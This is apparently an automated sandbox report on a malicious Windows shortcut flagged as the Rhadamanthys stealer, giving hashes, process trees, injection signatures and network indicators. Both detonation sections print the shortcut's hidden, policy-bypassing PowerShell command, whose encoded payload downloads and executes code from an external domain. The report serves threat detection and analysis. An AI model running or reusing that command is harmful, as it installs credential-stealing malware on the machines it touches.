Malware Analysis Report

2024-11-13 13:50

Sample ID 240405-kmwn6agb75
Target DOC527 - 527527.lnk
SHA256 b8a5cb1a0bc2ddd5b12f29781391ce38806b8dd0af28a0612d71a58063250ae8
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b8a5cb1a0bc2ddd5b12f29781391ce38806b8dd0af28a0612d71a58063250ae8

Threat Level: Known bad

The file DOC527 - 527527.lnk was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-05 08:43

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-05 08:43

Reported

2024-04-05 08:46

Platform

win7-20240221-en

Max time kernel

121s

Max time network

121s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2992 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2992 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2992 wrote to memory of 2632 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2632-39-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

memory/2632-41-0x0000000001D30000-0x0000000001DB0000-memory.dmp

memory/2632-40-0x0000000001F60000-0x0000000001F68000-memory.dmp

memory/2632-38-0x000000001B750000-0x000000001BA32000-memory.dmp

memory/2632-43-0x0000000001D30000-0x0000000001DB0000-memory.dmp

memory/2632-44-0x0000000001D30000-0x0000000001DB0000-memory.dmp

memory/2632-42-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

memory/2632-45-0x0000000001D30000-0x0000000001DB0000-memory.dmp

memory/2632-46-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-05 08:43

Reported

2024-04-05 08:46

Platform

win10v2004-20240226-en

Max time kernel

92s

Max time network

94s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 4560 created 2676 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Windows\system32\dialer.exe

"C:\Windows\system32\dialer.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 152.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 81.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsospogd.45d.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4560-11-0x000001E671870000-0x000001E671892000-memory.dmp

memory/4560-12-0x00007FFC730F0000-0x00007FFC73BB1000-memory.dmp

memory/4560-13-0x000001E671BF0000-0x000001E671C00000-memory.dmp

memory/4560-14-0x000001E671B50000-0x000001E671BAE000-memory.dmp

memory/4560-15-0x000001E6718B0000-0x000001E6718C0000-memory.dmp

memory/4560-16-0x000001E6740C0000-0x000001E6744C0000-memory.dmp

memory/4560-17-0x000001E6718B0000-0x000001E6718C0000-memory.dmp

memory/4560-18-0x000001E6740C0000-0x000001E6744C0000-memory.dmp

memory/4560-19-0x000001E6740C0000-0x000001E6744C0000-memory.dmp

memory/4560-21-0x000001E6740C0000-0x000001E6744C0000-memory.dmp

memory/4560-20-0x00007FFC915F0000-0x00007FFC917E5000-memory.dmp

memory/4560-22-0x00007FFC902D0000-0x00007FFC9038E000-memory.dmp

memory/4560-23-0x00007FFC8EFF0000-0x00007FFC8F2B9000-memory.dmp

memory/3048-24-0x000001C656880000-0x000001C656889000-memory.dmp

memory/4560-31-0x000001E6740C0000-0x000001E6744C0000-memory.dmp

memory/4560-30-0x00007FFC730F0000-0x00007FFC73BB1000-memory.dmp

memory/3048-33-0x000001C658300000-0x000001C658700000-memory.dmp

memory/3048-34-0x00007FFC902D0000-0x00007FFC9038E000-memory.dmp

memory/3048-32-0x00007FFC915F0000-0x00007FFC917E5000-memory.dmp

memory/3048-35-0x00007FFC8EFF0000-0x00007FFC8F2B9000-memory.dmp

memory/3048-29-0x000001C658300000-0x000001C658700000-memory.dmp

memory/3048-36-0x000001C658300000-0x000001C658700000-memory.dmp